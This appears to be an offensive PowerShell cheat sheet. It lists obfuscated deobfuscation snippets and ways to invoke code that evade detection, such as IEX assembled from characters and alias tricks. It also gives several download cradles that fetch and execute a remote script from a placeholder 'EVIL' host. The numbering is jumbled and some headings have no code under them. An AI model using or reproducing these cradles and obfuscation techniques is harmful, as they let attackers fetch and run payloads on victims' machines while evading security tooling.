0) Extra goodies

• Obfuscated FromBase64String with -bxor nice for dynamic strings deobfuscation:

$t=([type]('{1}{0}'-f'vert','Con'));($t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('Yk9CA05CA0hMV0I=')|%{$_-bxor35}|%{[char]$_})-join''

• The same as above but for UTF-16 base64 encoded strings:

$t=([type]('{1}{0}'-f'vert','Con'));-join[char[]]([uint16[]]$t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('MAA7ACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUA')-ne0)

A) Powershell Code Execution primitives

Phrase (Function).Invoke() may be rephrased as: &(Function)

1. Scriptblock:

[scriptblock]::Create('Get-Service').Invoke()

2. PS1.0 Invoke

$ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|Where{$_.Name-ilike'In*'}).Name).Invoke('Get-Service')

3. Get-Alias:

&(DIR Alias:/I*X)'Get-Service'

4. Get-Command:

&(GCM I*e-E*)

5. Powershell Runspace

[PowerShell]::Create().(([PowerShell]::Create()|Member)[5].Name).Invoke('Get-Service').Invoke()

6. Concatenated IEX:

&(''.SubString.ToString()[67,72,64]-Join'')'Get-Service'

7. Invoke-AsWorkflow (PS3.0+)

Invoke-AsWorkflow -Ex ('Get-Service')

2. Obfuscated Net.WebClient.DownloadString:

$w=(New-Object Net.WebClient);$w.(((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('http://EVIL/SCRIPT.ps1')

3. Net.WebRequest:

[IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse().GetResponseStream()).ReadToEnd()

4. Msxml2.XMLHTTP COM object:

1. PowerShell 3.0+

IEX (iwr 'http://EVIL/SCRIPT.ps1')

2. Normal download cradle

IEX (New-Object Net.Webclient).downloadstring("http://EVIL/SCRIPT.ps1")

3. Download Cradle combining ScriptBlock + Invoke-RestMethod

[scriptblock]::Create(('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})).Invoke()

4. Msxml2.XMLHTTP COM object with Scriptblock:
